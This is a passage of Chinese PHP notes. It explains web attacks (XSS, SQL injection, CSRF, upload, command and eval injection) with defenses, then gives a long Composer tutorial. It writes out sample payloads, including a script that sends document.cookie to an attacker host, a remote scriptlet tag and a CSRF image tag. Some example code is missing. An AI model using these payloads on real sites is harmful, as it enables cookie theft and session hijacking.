< object type="text/x-scriptlet" data="http://ha.ckers.org/scriptlet.html">< /object>
防范
1、编码: 用户输入转换为实体字符,HTML Entity编码
字符 十进制 转义字符
双引号 & #34; & quot;
& & #38; & amp;
小于号 & #60; & lt;
大于号 & #62; & gt;
不断开空格 & #160; & nbsp;
non-breaking-space
2、过滤:
移除用户上传的DOM属性,如onerror等事件属性
移除用户上传的Style节点,Script节点,Iframe节点
3、校正
避免直接对HTML Entity解码
使用DOM Parse转换,校正不配对的DOM标签
【 SOL注入攻击 】
通过对web连接的数据库发送恶意的SQL语句而产生的攻击,从而产生安全隐患和对网站的威胁,可以造成逃过验证或私密信息泄露等危害。
SQL注入的原理是通过在对SQL语句调用方式上的疏漏,恶意注入SQL语句。
SQL注入常见的例子: 私密信息泄露
假如一个出版书籍的网站,具有根据作者姓名查询已出版书籍的功能,作者未出版的书籍不能被普通用户看到,因为版权属于隐私的问题。假设请求是用GET请求来完成的,其地址栏请求内容为: www.book.com?serach=lisi
完成此功能的SQL语句: select * from book where author = 'lisi' and flag = 1;flag等于1代表书籍已出版。
这时如果有的用户直接地址栏里输入www.book.com?serach=lisi'--
这样的请求传到服务器里的状态会是这样子的:select * from book where author = 'lisi' -- and flag = 1;
在SQL语句中--代表注释会自动忽略掉后面的内容,所以这个请求是骗过服务器把作者为lisi的已出版和未出版的书籍全部显示在网页上,造成网站违背开发者的意图,造成信息泄露。
【 文件上传漏洞 】
利用上传漏洞可直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。
该漏洞允许用户上传任意文件可能会让攻击者注入危险内容或恶意代码,并在服务器上运行。
原理: 由于文件上传功能实现代码没有严格限制用户上传的文件后缀及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在远程服务器上执行任意PHP脚本。
防范:
(1)检查服务器是否判断了上传文件类型及后缀。
(2)定义上传文件类型白名单,即只允许白名单里面类型的文件上传。
(3)文件上传目录禁止执行脚本解析,避免攻击者进行二次攻击。
Info漏洞
Info漏洞就是CGI把输入的参数原样输出到页面,攻击者通过修改输入参数而达到欺骗用户的目的
Web安全是必须关注且无法逃避的话题
对于SQL、XSS等注入式攻击,一定要对用户输入的内容进行严格的过滤和审查,这样可以避免绝大多数的注入式攻击方式。
对于DoS攻击要使用各种工具和配置来减轻危害,容易被DDoS攻击的还有HTTPS服务,要做好特定的应用防护和用户行为模式分析。
所以在日常的开发和测试过程中要时常提醒自己写出的代码有没有可能被人攻击?思考若我是一个攻击者,我该怎么做才可以达到攻击效果呢?只有这样知己知彼后,方可百战百胜!
针对PHP的网站主要存在的几种攻击方式
1、命令注入(Command Injection) 2、eval注入(Eval Injection) 3、客户端脚本攻击(Script Insertion) 4、跨网站脚本攻击(Cross Site Scripting,XSS) 5、SQL注入攻击(SQL injection) 6、跨网站请求伪造攻击(Cross Site Request Forgeries,CSRF) 7、Session 会话劫持(Session Hijacking) 8、Session 固定攻击(Session Fixation) 9、HTTP响应拆分攻击(HTTP Response Splitting) 10、文件上传漏洞(File Upload Attack) 11、目录穿越漏洞(Directory Traversal) 12、远程文件包含攻击(Remote Inclusion) 13、动态函数注入攻击(Dynamic Variable Evaluation) 14、URL攻击(URL attack) 15、表单提交欺骗攻击(Spoofed Form Submissions) 16、HTTP请求欺骗攻击(Spoofed HTTP Requests) 【 命令注入攻击 】 PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec string system(string command,int &return_var) 执行外部程序,并且显示输出 command参数表示要执行的命令 return_var参数存放执行命令的执行后的状态值 void passthru(string command,int &return_var) 同system,获取一个命令未经任何处理的原始输出 command参数表示要执行的命令 return_var参数存放执行命令后的状态值 string exec(string command,array &output,int &return_var) command参数表示要执行的命令 output参数表示获得执行命令输出的每一行字符串 return_var参数存放执行命令后的状态值 string shell_exec (string command) command参数表示要执行的命令漏洞实例"; }
【 eval注入攻击 】 eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候 mixed eval(string code_str)
防范方法:
1、尽量不要执行外部命令
2、使用自定义函数或函数库来替代外部命令的功能
3、使用escapeshellarg函数来处理命令参数
4、使用safe_mode_exec_dir指定可执行文件的路径
esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号'替换成\',双引号"替换成\",分号;替换成\;
用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内
safe_mode = On
safe_mode_exec_di r= /usr/local/php/bin/
【 客户端脚本植入(Script Insertion) 】
客户端脚本植入指将可以执行的脚本插入到表单、图片、动画或超链接文字等对象内,当用户打开这些对象后攻击者所植入的脚本就会被执行开始攻击
被用作脚本植入的HTML标签一般包括以下几种:
1、script标签标记的js和vbscript等页面脚本程序。script标签内可指定js代码,也可src属性内指定js文件的URL路径
2、object标签标记的对象,这些对象是java applet、多媒体文件和ActiveX控件等,通常在data属性内指定对象的URL路径
3、embed标签标记的对象,这些对象是多媒体文件,通常在src属性内指定对象的URL路径
4、applet标签标记的对象,这些对象是java applet,通常在codebase属性内指定对象的URL路径
5、form标签标记的对象,通常在action属性内指定要处理表单数据的web应用程序的URL路径
客户端脚本植入的攻击步骤:
1、攻击者注册普通用户后登陆网站
2、打开留言页面,插入攻击的js代码
3、其他用户包括管理员登录网站,浏览此留言的内容
4、隐藏在留言内容中的js代码被执行,攻击成功
插入 while(1){windows.open();} js代码无限弹框
插入 location.href="http://www.sectop.com"; js代码跳转钓鱼页面
或使用其他自行构造的js代码进行攻击
防范的方法
一般使用htmlspecialchars函数来将特殊字符转换成HTML编码
echo htmlspecialchars(nl2br($row['question']),ENT_QUOTES);
【 XSS跨站脚本攻击 】
XSS(Cross Site Scripting)为了和样式表css(Cascading Style Sheet)区别,缩写为XSS
跨站脚本主要被攻击者利用来读取网站用户的cookies或个人数据,一旦攻击者得到这些数据就可以伪装成此用户来登录网站,获得此用户的权限。
跨站脚本攻击的一般步骤:
1、攻击者以某种方式发送xss的链接给目标用户
2、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
3、网站执行了此xss攻击脚本
4、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
5、攻击者使用目标用户的信息登录网站,完成攻击
当有存在跨站漏洞的程序出现的时候,攻击者可以构造类似http://www.sectop.com/search.php?key=< script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie; script> ,诱骗用户点击后可以获取用户cookies值
防范方法:
利用htmlspecialchars函数将特殊字符转换成HTML编码
$_SERVER["PHP_SELF"]变量的跨站
在某个表单中如果提交参数给自己会用这样的语句
< form action="" method="POST">
$_SERVER["PHP_SELF"]变量的值为当前页面名称
提交http://www.sectop.com/get.php/">< script>alert(document.cookie); script>
那么表单变成< form action="get.php/">< script>alert(document.cookie); script>" method="POST">
跨站脚本被插进去了
防御方法还是使用htmlspecialchars过滤输出的变量或提交给自身文件的表单使用
< form action="" method="post">这样直接避免了$_SERVER["PHP_SELF"]变量被跨站
【 SQL注入攻击(SQL Injection) 】
SQL注入攻击是攻击者在表单中提交精心构造的sql语句,改动原来的sql语句,如果web程序没有对提交的数据经过检查就会造成sql注入攻击。
SQL注入攻击的一般步骤:
1、攻击者访问有SQL注入漏洞的站点,寻找注入点
2、攻击者构造注入语句,注入语句和程序中的SQL语句结合生成新的sql语句
3、新的sql语句被提交到数据库中执行处理
4、数据库执行了新的SQL语句,引发SQL注入攻击
实例
防范方法
1.整型参数:
运用intval函数将数据转换成整数
int intval(mixed var,int base),var是要转换成整形的变量,base可选,是基础数,默认是10
2.浮点型参数:
运用floatval或doubleval函数分别转换单精度和双精度浮点型参数
int floatval(mixed var),var是要转换的变量
int doubleval(mixed var),var是要转换的变量
3.字符型参数:
运用addslashes函数来将单引号"'"转换成"\'",双引号"""转换成"\"",反斜杠"\"转换成"\\",NULL字符加上反斜杠"\"
string addslashes (string str),str是要检查的字符串
$query = "select * from postmessage where id = ".intval($_GET["id"]);
$result = mysql_query($query) or die("执行ySQL查询语句失败: " . mysql_error());
如果是字符型,先判断magic_quotes_gpc是否为On,不为On时运用addslashes转义特殊字符
$var = get_magic_quotes_gpc() ? $_GET["var"] : addslashes($_GET["var"]);
【 垮站点伪造请求 CSRF(Cross Site Request Forgeries) 】
攻击者伪造目标用户的HTTP请求,然后此请求发送到有CSRF漏洞的网站,网站执行此请求后引发跨站请求伪造攻击。
攻击者利用隐蔽的HTTP连接,让目标用户在不注意的情况下单击这个链接,由于是用户自己点击的,而他又是合法用户拥有合法权限,所以目标用户能够在网站内执行特定的HTTP链接,从而达到攻击者的目的。
例如:购物网站购买商品时采用http://www.shop.com/buy.php?item=watch&num=1,item参数确定要购买什么物品,num参数确定要购买数量,如果攻击者以隐藏的方式发送给目标用户链接
< img src="http://www.shop.com/buy.php?item=watch&num=1000"/>,如果目标用户不小心访问以后购买的数量就成1000个
实例: PHP留言板V1.0,任意删除留言修改管理员密码//pass.php防范方法 防范CSRF要比防范其他攻击更加困难,因为CSRF的HTTP请求虽然是攻击者伪造的,却是由目标用户发出的,一般常见的防范方法有下面几种1、检查网页来源2、检查内置隐藏变量
composer
pear
PEAR是"PHP Extension and Application Repository"的缩写,即PHP扩展和应用仓库。
PEAR将PHP程序开发过程中常用的功能编写成类库,涵盖了页面呈现、数据库访问、文件操作、数据结构、缓存操作、网络协议、WebService等许多方面,用户可以通过下载这些类库并适当的作一些定制以实现自己需要的功能,避免重复发明"车轮",PEAR 的出现大大提高了PHP程序的开发效率和开发质量。
如果在项目中感觉到有可复用的部分,在写下一行代码前先看看 PEAR 中是否已经有了,这个在线资源库包含了超过 400 个可以复用的程序片段,这些程序片段可以立即用到你的程序里。除非说项目真的是非常特别的,总能找到节省时间的PEAR包
PEAR能带来什么好处?
1.PEAR按照一定的分类来管理PEAR应用代码库,PEAR代码可以组织到其中适当的目录中,其他的人可以方便地检索并分享到你的成果。
2.PEAR不仅仅是一个代码仓库,它同时也是一个标准,使用这个标准来书写你的PHP代码,将会增强你的程序的可读性,复用性,减少出错的几率。
3.PEAR通过提供2个类为你搭建了一个框架,实现了诸如析构函数,错误捕获功能,你通过继承就可以使用这些功能。
另外,我们还必须关注PEAR的PHP库代码。PEAR的PHP库代码常常被认为是当前设计最好、最整洁的库。
PEAR::DB是其中最受欢迎的一个包,这个包是PEAR项目创建的一个数据库抽象库。Bakken正在努力,要把它主要的类和函数移植到C扩展上,使得这个包具有最好的性能。
使得开发者能够方便地通过PEAR网站共享代码,使得用户能够方便地下载和安装扩展、PHP代码库。
PECL
PECL是"PHP Extension Community Library"的缩写,即PHP扩展库。
PECL可以看作PEAR的一个组成部分,提供了与PEAR类似的功能。不同的是PEAR的所有扩展都是用纯粹的PHP代码编写的,用户在下载到PEAR扩展以后可以直接将扩展的代码包含到自己的PHP文件中使用。而PECL是使用C语言开发的,通常用于补充一些用PHP难以完成的底层功能,往往需要重新编译或在配置文件中设置后才能在用户自己的代码中使用。
PEAR是PHP的上层扩展,PECL是PHP的底层扩展,它们都是为特定的应用提供现成的函数或类。
composer
composer是php的依赖管理工具,允许申明项目所依赖的代码库,它会在项目中安装他们
composer受到了node's npm和ruby's bundler的强烈启发,而当时PHP下并没有类似的工具,composer和pear功能是一样的,但composer更方便好用,pear差不多被淘汰了
composer不是一个包管理器,涉及"packages"和"libraries",但它在每个项目的基础上进行管理,在项目的vendor目录中进行安装,默认不会在全局安装任何东西,因此这仅仅是一个依赖管理。
composer解决的问题:
a) 一个项目依赖于若干个库
b) 其中一些库依赖于其他库
c) 声明所依赖的东西
d) Composer会找出哪个版本的包需要安装,并安装它们,将它们下载到项目中
优点在于仅需要提供一个composer.json文件,申明需要用到的三方库,一个简单的命令就能将其依赖全部装好,方便项目的部署和发布,还提供了自动加载的支持,这就涉及到php-fig组织的PSR-0规范了
Composer是开源的PHP依赖dependency管理的工具,使用起来也很简单,提交自己的包也很容易
可以在自己的项目中声明所依赖的外部工具库(libraries),Composer会安装这些依赖的库文件
【 linux安装composer 】
可以通过运行以下命令从getcomposer.org网站下载composer脚本。它将在当前目录中创建一个composer.phar文件。
curl -sS https://getcomposer.org/installer | php
复制bin目录下的composer.phar文件,以便在系统中的任意位置都可以使用。另外,对文件设置执行权限。将文件名从composer.phar更改为composer以便于使用。
mv composer.phar /usr/local/bin/composer
chmod +x /usr/local/bin/composer
在命令提示下输入composer。这将为你提供Composer版本的详细信息以及Composer命令中可用的选项。
【 composer安装 】
Composer需要PHP5.3.2+才能运行
composer的安装就是将composer.phar可执行文件下载到当前目录。
PHAR是一个PHP压缩包的压缩格式,是Composer的二进制文件,可以在命令行下直接运行,帮助用户在命令行中执行一些操作
局部安装:
如果收到readfile错误提示,请使用http链接或在php.ini中开启php_openssl.dll,三种安装方式如下
$ curl -sS https://getcomposer.org/installer | php
$ php -r "readfile('https://getcomposer.org/installer');" | php
$ curl -sS https://getcomposer.org/installer | php -- --install-dir=bin // 使用–install-dir=指定composer的安装目录
全局安装只需要运行composer命令就可以使用Composer而不需要输入php composer.phar
不过通常只需将composer.phar的位置加入到PATH环境变量就可以,不一定要全局安装
$ curl -sS https://getcomposer.org/installer | php
$ mv composer.phar /usr/local/bin/composer
Windows使用安装程序
下载并运行Composer-Setup.exe,将安装最新版本的Composer,并设置好系统的环境变量,因此可以在任何目录下直接使用composer命令
要检查Composer是否正常工作,只需要通过php来执行PHAR:
php composer.phar // 返回可执行的命令列表
运行composer或composer list命令,然后结合--help命令来获得更多的帮助信息
【 手动安装composer.phar 】
下载最新文件快照https://getcomposer.org/composer.phar 或 https://getcomposer.org/download/
composer官网选择download下拉到manual download下载最新的composer.phar
将composer.phar复制到PHP的安装目录和php.exe在同一级目录
在PHP安装目录下新建一个composer.bat文件,并将下列代码保存到此文件中
@php "%~dp0composer.phar" %*
打开命令行窗口执行 composer --version 看是否正确输出版本号
经常执行composer selfupdate以保持Composer一直是最新版本
composer config -g data-dir E:\wnmp\composer
composer config -g vendor-dir E:\wnmp\composer\vendor
composer config -g cache-dir E:\wnmp\composer\cache
composer config -g home E:\wnmp\composer # Setting home does not exist or is not supported by this command
修改composer.bat
@echo off
set COMPOSER_HOME="E:\wnmp\composer"
@php "%~dp0composer.phar" %*
【 解决wamp下Composer因php_openssl扩展缺失而安装失败的问题 】
Wamp环境安装Composer可能会遇到PHP缺少openssl扩展这种安装失败的情况,正确的做法是在php的安装目录下的php.ini文件去掉extension=php_openssl.dll这一行开头的注释
Wamp在Apache和在CLI(命令行)模式下使用了两个不同的php.ini文件,当在WAMP的控制台去启用php_openssl扩展是启用的Apache的,而非CLI。而修改php安装目录中的php.ini配置文件,则可以启用CLI模式下的openssl。
【 配置composer中国全量镜像 】
模块仓库(https://packagist.org/)是Composer的主要资源仓库,Packagist的目标是成为大家使用库资源的中央存储平台,可require其中任何包,很多著名PHP库都能在其中找到
https://packagist.org/explore/popular
overtrue/wechat 让微信开发更简单!
thenbsp/wechat
catfan/medoo
illuminate/database
psr/log
monolog/monolog
symfony/event-dispatcher
phpunit/phpunit
phpunit/php-timer
michelf/php-markdown markdown 文档解析
intervention/image 图片处理
mytharcher/alipay-php-sdk
composer安装包数据是从github.com上下载的,安装包的元数据从packagist.org上下载,两个国外的网站连接速度会很慢
composer中国全量镜像将安装包数据及安装包元数据缓存到国内的机房,并通过国内的CDN进行加速,这样访问时就不用向国外的网站发起请求,,\从而达到加速composer install以及composer update的过程,并且更加快速、稳定。因此即使packagist.org、github.com发生故障仍然可以下载、更新安装包,所以提升了访问的速度。
$ composer config -g -l repo.packagist # 查看当前配置,默认https://repo.packagist.org
$ composer config -g repo.packagist composer https://packagist.phpcomposer.com # 系统全局配置,修改全局的config.json
$ composer config repo.packagist composer https://packagist.phpcomposer.com # 项目配置,修改当前的composer.json
$ composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ # 使用阿里巴巴提供的Composer全量镜像
$ composer config -g --unset repos.packagist # 取消全局配置
1、修改全局配置: 全局配置的文件一般放在C:\Users\YJC\AppData\Roaming\Composer\config.json。
可以通过命令composer config -gl查看配置,其中[home]为配置所在目录。config.json即为配置文件。
{
"repositories": [
{"packagist": false},
{"type": "composer","url": "https://packagist.phpcomposer.com"}
]
}
2、修改当前配置: 即项目当前的composer.json文件;
"repositories": {
"packagist": {
"type": "composer",
"url": "https://packagist.phpcomposer.com"
}
}
【 composer环境变量 】
可以设置一些环境变量来覆盖默认的配置。建议尽可能的在composer.json的config字段中设置这些值,而不是通过命令行设置环境变量。环境变量中的值将始终优先于composer.json中所指定的值。
COMPOSER
为composer.json文件指定其它的文件名。
COMPOSER=composer-other.json
COMPOSER_ROOT_VERSION
指定root包的版本,如果程序不能从VCS上猜测出版本号,并且未在composer.json文件中申明。
COMPOSER_VENDOR_DIR
指定composer将依赖安装在vendor以外的其它目录中。
COMPOSER_BIN_DIR
指定bin(Vendor Binaries)目录到vendor/bin以外的其它目录。
http_proxy or HTTP_PROXY
通过HTTP代理来使用Composer,只要简单的将它设置为代理服务器的URL。许多操作系统已经设置了此变量。
建议使用http_proxy或两者都进行定义,因为某些工具像git或curl将使用http_proxy小写的版本
还可以使用git config --global http.proxy < proxy_url > 来单独设置git的代理。
no_proxy
如果是使用代理服务器并且想对某些域名禁用代理就可使用no_proxy环境变量,只需要输入一个逗号相隔的域名排除列表。
此环境变量接受域名、IP及CIDR地址块,可以将它限制到一个端口如:80,还可以把它设置为*忽略所有的HTTP代理请求。
HTTP_PROXY_REQUEST_FULLURI
如果使用了HTTP代理,但它不支持request_fulluri标签,那么应该设置这个环境变量为false或0来防止composer从request_fulluri读取配置。
COMPOSER_HOME
改变Composer的主目录,这是一个隐藏的、所有项目共享的全局目录(对本机的所有用户都可用),它在各个系统上的默认值分别为:
*nix /home/< user >/.composer。
OSX /Users/< user >/.composer。
Windows C:\Users\< user >\AppData\Roaming\Composer。
COMPOSER_HOME/config.json
可以在$COMPOSER_HOME目录中放置一个config.json文件,在执行install和update命令时Composer会将它与项目中的composer.json文件进行合并。
该文件允许为用户的项目设置配置信息和资源库。
若全局和项目存在相同配置项,那么项目中的composer.json文件拥有更高的优先级。
COMPOSER_CACHE_DIR
设置Composer的缓存目录,也可以通过cache-dir进行配置,它在各个系统上的默认值分别为:
*nix and OSX $COMPOSER_HOME/cache。
Windows C:\Users\< user >\AppData\Local\Composer 或 %LOCALAPPDATA%/Composer。
COMPOSER_PROCESS_TIMEOUT
控制Composer执行命令的等待时间,如git命令,默认300秒
COMPOSER_DISCARD_CHANGES
控制discard-changes config option。
COMPOSER_NO_INTERACTION
设置为1表示将使Composer在执行每一个命令时都放弃交互,相当于对所有命令都使用了--no-interaction,可以在搭建虚拟机/持续集成服务器时这样设置。
composer.json文件
在项目目录下创建一个composer.json文件,该文件包含了项目的依赖和其它的一些元数据
【 require 】
必须的软件包列表,除非这些依赖被满足,否则不会完成安装。
【 require-dev (root-only) 】
这个列表是为开发或测试等额外列出的依赖。root包的require-dev默认会被安装的。install或update支持使用--no-dev参数来跳过这些包
第一件事情并且往往只需要做这一件事,需要在composer.json文件中指定require key的值,告诉Composer项目需要依赖哪些包,所有对象都应该是包名到版本的映射对象,所有的这些都是可选的。
{
"require": {
"monolog/monolog": "1.0.*"
}
}
包名称
包名称由供应商名称和其项目名称构成,这种构成很好的解决了命名冲突的问题,它允许两个不同的人创建同样名为json的库
引入monolog/monolog供应商名称与项目的名称相同,对于一个具有唯一名称的项目是推荐这么做的,它还允许以后在同一个命名空间添加更多的相关项目
版本约束
指定包的确切的版本号 1.0.2
指定有效的版本范围
可以定义多个范围,用逗号隔开将被视为一个逻辑AND处理。一个管道符号|将作为逻辑OR处理,AND的优先级高于OR
>=1.0 >=1.0,< 2.0 >=1.0,< 1.1|>=1.2
使用连字符指定范围
1.0 - 2.0,等同于>=1.0.0 < 2.1(2.0相当于2.0.*)
使用通配符*指定一种模式 1.0.*
1.0.* 与 >=1.0,< 1.1是等效的。
1.2.*" 表示任何从1.2开始的开发分支,将会匹配1.0.0、1.0.2或1.0.20
"*"匹配任何版本
赋值运算符 ~1.2
这对于遵循语义化版本号的项目非常有用。~1.2相当于>=1.2,< 2.0; ~1.2.3 相当于 >=1.2.3,< 1.3
折音号^
^1.2.3相当于>=1.2.3 < 2.0.0,因为在2.0版本前的版本应该都没有兼容性的问题。而对于1.0之前的版本,这种约束方式也考虑到了安全问题,例如^0.3会被当作>=0.3.0 < 0.4.0对待
require和require-dev还支持稳定性标签(@,仅针对"root 包")。这允许在minimum-stability设定的范围外做进一步的限制或扩展。例如如果想允许依赖一个不稳定的包,可以在一个包的版本约束后使用它,或是一个空的版本约束内使用它。
"monolog/monolog": "1.0.*@beta",
"acme/foo": "@dev"
如果依赖之一有对另一个不稳定包的依赖,最好在require中显示的定义它,并带上足够详细的稳定性标识。
"doctrine/doctrine-fixtures-bundle": "dev-master",
"doctrine/data-fixtures": "@dev"
require和require-dev还支持对dev(开发)版本的明确引用(即版本控制系统中的提交编号commit),以确保它们被锁定到一个给定的状态,即使运行了更新命令。只需要明确一个开发版本号,并带上诸如 #ref的标识。
"monolog/monolog": "dev-master#2eb0c0978d290a1c45346a1955188929cb4e5db7",
"acme/foo": "1.0.x-dev#abc123"
虽然这有时很方便,但不应该长期在包中使用,因为它有一个技术上的限制。composer.json将仍然在哈希值之前指定的分支名称读取元数据,正因为如此,在某些情况下它不会是一个实用的解决方法,如果可能应该总是尝试切换到拥有标签的版本。
它也可以应用于行内别名,这样它将匹配一个约束,否则不会
【 包名name 】
包的名称,包括供应商名称和项目名称,使用/分隔,发布的包(库)是必填
monolog/monolog
igorw/event-source
【 描述description 】
一个包的简短描述,通常最长只有一行。发布的包(库)是必填
【 版本version 】
可选,通常能够从VCS(git,svn,hg)的信息推断出包的版本号,在这种情况下建议忽略version
Packagist使用VCS仓库,因此version定义的版本号必须是真实准确的。手动指定的version,最终有可能在某个时候因为人为错误造成问题
它应该符合'X.Y.Z'或'vX.Y.Z'的形式,-dev、-patch、-alpha、-beta或-RC这些后缀是可选的,在后缀之后也可以再跟上一个数字。
1.0.0
1.0.2
1.1.0
0.2.5
1.0.0-dev
1.0.0-alpha3
1.0.0-beta2
1.0.0-RC5
【 安装类型type 】
包的安装类型,默认library,用来定义安装逻辑。如果有一个包需要一个特殊的逻辑,可以设定一个自定义的类型。这可以是一个symfony-bundle,一个wordpress-plugin或一个typo3-module。这些类型都将是具体到某一个项目,而对应的项目将要提供一种能够安装该类型包的安装程序。
composer原生支持以下4种类型:
1、library
这是默认类型,简单的将文件复制到vendor目录。
2、project
这表示当前包是一个项目,而不是一个库。例如框架应用程序Symfony standard edition,内容管理系统SilverStripe installer或完全成熟的分布式应用程序。使用IDE创建一个新的工作区时,这可以为其提供项目列表的初始化。
3、metapackage
当一个空的包包含依赖并且需要触发依赖的安装,这将不会对系统写入额外的文件。因此这种安装类型并不需要一个dist或source
4、composer-plugin
一个安装类型为composer-plugin的包,它有一个自定义安装类型,可以为其它包提供一个installler。详细请查看 自定义安装类型。仅在需要一个自定义的安装逻辑时才使用它。建议忽略这个属性,采用默认的library。
【 关键字keywords 】
该包相关的关键词的数组,可用于搜索和过滤,可选。
【 项目主页homepage 】
该项目网站的URL地址,可选。
【 版本发布时间time 】
版本发布时间,必须符合YYYY-MM-DD或YYYY-MM-DD HH:MM:SS格式,可选。
【 许可协议license 】
包的许可协议,它可以是一个字符串或字符串数组。可选,但强烈建议提供此内容
对于闭源软件必须使用 "proprietary" 协议标识符。
最常见的许可协议的推荐写法(按字母排序):
Apache-2.0
BSD-2-Clause
BSD-3-Clause
BSD-4-Clause
GPL-2.0
GPL-2.0+
GPL-3.0
GPL-3.0+
LGPL-2.1
LGPL-2.1+
LGPL-3.0
LGPL-3.0+
MIT
"license": "MIT"
对于一个包,当允许在多个许可协议间进行选择时("disjunctive license"),这些协议标识符可以被指定为数组。
"license": [
"LGPL-2.1",
"GPL-3.0+"
]
另外它们也可以由"or"分隔并写在括号中,同样当有多个许可协议需要结合使用时它们应该被"and"分隔,并写在括号中。
"license": "(LGPL-2.1 or GPL-3.0+)"
【 作者authors 】
包的作者,这是一个对象数组。可选,但强烈建议提供此内容。
这个对象必须包含以下属性:
name: 作者的姓名,通常使用真名。
email: 作者的email地址。
homepage: 作者主页的URL地址。
role: 该作者在此项目中担任的角色(例: 开发人员或翻译)。
"authors": [
{
"name": "Nils Adermann",
"email": "naderman@naderman.de",
"homepage": "http://www.naderman.de",
"role": "Developer"
},
{
"name": "Jordi Boggiano",
"email": "j.boggiano@seld.be",
"homepage": "http://seld.be",
"role": "Developer"
}
]
【 支持support 】
获取项目支持的相关信息对象,可选,这个对象必须包含以下属性:
email: 项目支持email地址。
issues: 跟踪问题的URL地址。
forum: 论坛地址。
wiki: Wiki地址。
irc: IRC聊天频道地址,类似于irc://server/channel。
source: 网址浏览或下载源。
"support": {
"email": "support@example.org",
"irc": "irc://irc.freenode.org/composer"
}
【 conflict 】
此列表中的包与当前包的这个版本冲突。它们将不允许同时被安装。
在conflict中指定类似于< 1.0,>= 1.1的版本范围时,这表示它与小于1.0 并且同时大等于1.1的版本冲突,这很可能不是想要的。在这种情况下你可能想要表达的是< 1.0 | >= 1.1 。
【 replace 】
这个列表中的包将被当前包取代,这使你可以fork一个包以不同的名称和版本号发布,同时要求依赖于原包的其它包,在这之后依赖于fork的这个包,因为它取代了原来包
这对于创建一个内部包含子包的主包也非常的有用。例如symfony/symfony这个主包,包含了所有Symfony的组件,而这些组件又可以作为单独的包进行发布。如果require了主包,那么它就会自动完成其下各个组件的任务,因为主包取代了子包。
在使用上述方法取代子包时,通常应该只对子包使用self.version这一个版本约束,以确保主包仅替换掉子包的准确版本,而不是任何其他版本。
【 provide 】
List of other packages that are provided by this package. This is mostly useful for common interfaces. A package could depend on some virtual logger package,any library that implements this logger interface would simply list it in provide.
【 suggest 】
建议安装的包,它们增强或能够与当前包良好的工作。这些只是信息,并显示在依赖包安装完成之后,给用户一个建议,他们可以添加更多的包。
格式如下,版本约束变成了描述信息。
"suggest": {
"monolog/monolog": "Allows more advanced logging of the application flow"
}
【 autoload 】
PHP autoloader的自动加载映射。
autoload部分指定自动加载的文件夹,每次里面的文件有新增,使用composer dump-autoload即可
修改autoload字段后只要执行一下composer update/install命令来生成vendor/autoload.php文件
Composer生成了一个自动加载文件vendor/autoload.php,只需在代码的初始化部分中简单的引入这个文件来加载Composer下载的库中所有的类文件
require 'vendor/autoload.php';
引用这个文件也将返回autoloader的实例,可以将包含调用的返回值存储在变量中,并添加更多的命名空间。这对于在一个测试套件中自动加载类文件非常有用
$loader = require 'vendor/autoload.php';
$loader->add('Acme\\Test\\',__DIR__);
Composer提供了自己的autoloader。如果不想使用它可以仅仅引入vendor/composer/autoload_*.php文件,它返回一个关联数组,可以通过这个关联数组配置自己的autoloader。
FrameworkInteroperability Group(框架可互用性小组)简称FIG,成立于2009年。FIG最初由几位知名PHP框架开发者发起,在吸纳了许多优秀的大脑和强健的体魄后,提出了PSR-0到PSR-4五套PHP非官方规范:
1. PSR-0 (Autoloading Standard) 自动加载标准
2. PSR-1 (Basic Coding Standard) 基础编码标准
3. PSR-2 (Coding Style Guide) 编码风格向导
4. PSR-3 (Logger Interface) 日志接口
5. PSR-4 (Improved Autoloading) 自动加载优化标准
之后在此标准之上Composer横空出世,Composer利用PSR-0和PSR-4及PHP5.3的命名空间构造了一个繁荣的PHP生态系统。Composer类似著名的npm和RubyGems,给海量PHP包提供了一个异常方便的协作通道
基本就抛弃了传统的文件包含方法require和include函数,一个项目中这两个函数只可能出现一次,那就是require '../vendor/autoload.php',使用所有类库都将用namespace和composer自带的autoload
Currently PSR-0 autoloading,PSR-4 autoloading,classmap generation and files includes are supported. PSR-4 is the recommended way though since it offers greater ease of use (no need to regenerate the autoloader when you add classes).
1、PSR-4
psr-4是一个基于psr-4规则的类库自动加载对应关系,只要在其后的对象中以"命名空间": "路径"映射方式写入自己的类库信息即可
PSR-4是composer推荐使用的一种方式,因为它更易使用并能带来更简洁的目录结构
PSR-4和PSR-0的配置里"Foo\\"结尾的命名空间分隔符必须加上并且进行转义,以防出现"Foo"匹配到了"FooBar"这样的意外发生。
在composer安装或更新后,psr-4的配置被转换成namespace为key,dir path为value的Map的形式,并写入生成的vendor/composer/autoload_psr4.php文件
psr-0的配置也以Map的形式写入生成的vendor/composer/autoload_namespaces.php文件之中
"autoload": {
"psr-4": {
"Foo\\": "src/" // 当试图自动加载"Foo\\Bar\\Baz"这个class时会寻找src/Bar/Baz.php这个文件,存在则加载
},
"psr-0": {
"Foo\\": "src/" // 当试图自动加载"Foo\\Bar\\Baz"这个class时会寻找src/Foo/Bar/Baz.php文件,存在则加载
}
}
Under the psr-4 key you define a mapping from namespaces to paths,relative to the package root. When autoloading a class like Foo\\Bar\\Baz a namespace prefix Foo\\ pointing to a directory src/ means that the autoloader will look for a file named src/Bar/Baz.php and include it if present. Note that as opposed to the older PSR-0 style,the prefix (Foo\\) is not present in the file path.
Namespace prefixes must end in \\ to avoid conflicts between similar prefixes. For example Foo would match classes in the FooBar namespace so the trailing backslashes solve the problem: Foo\\ and FooBar\\ are distinct.
The PSR-4 references are all combined,during install/update,into a single key => value array which may be found in the generated file vendor/composer/autoload_psr4.php.
可以定义一个从命名空间到目录的映射,此时src会在项目的根目录,与vendor文件夹同级,例如src/Foo.php文件应该包含Acme\Foo类。
"autoload": {
"psr-4": {"Acme\\": "src/"} // 注册一个PSR-4 autoloader到Acme命名空间
}
"autoload": {
"psr-4": {
"Monolog\\": "src/",
"Vendor\\Namespace\\": ""
}
}
If you need to search for a same prefix in multiple directories,you can specify them as an array as such:
"autoload": {
"psr-4": { "Monolog\\": ["src/","lib/"] }
}
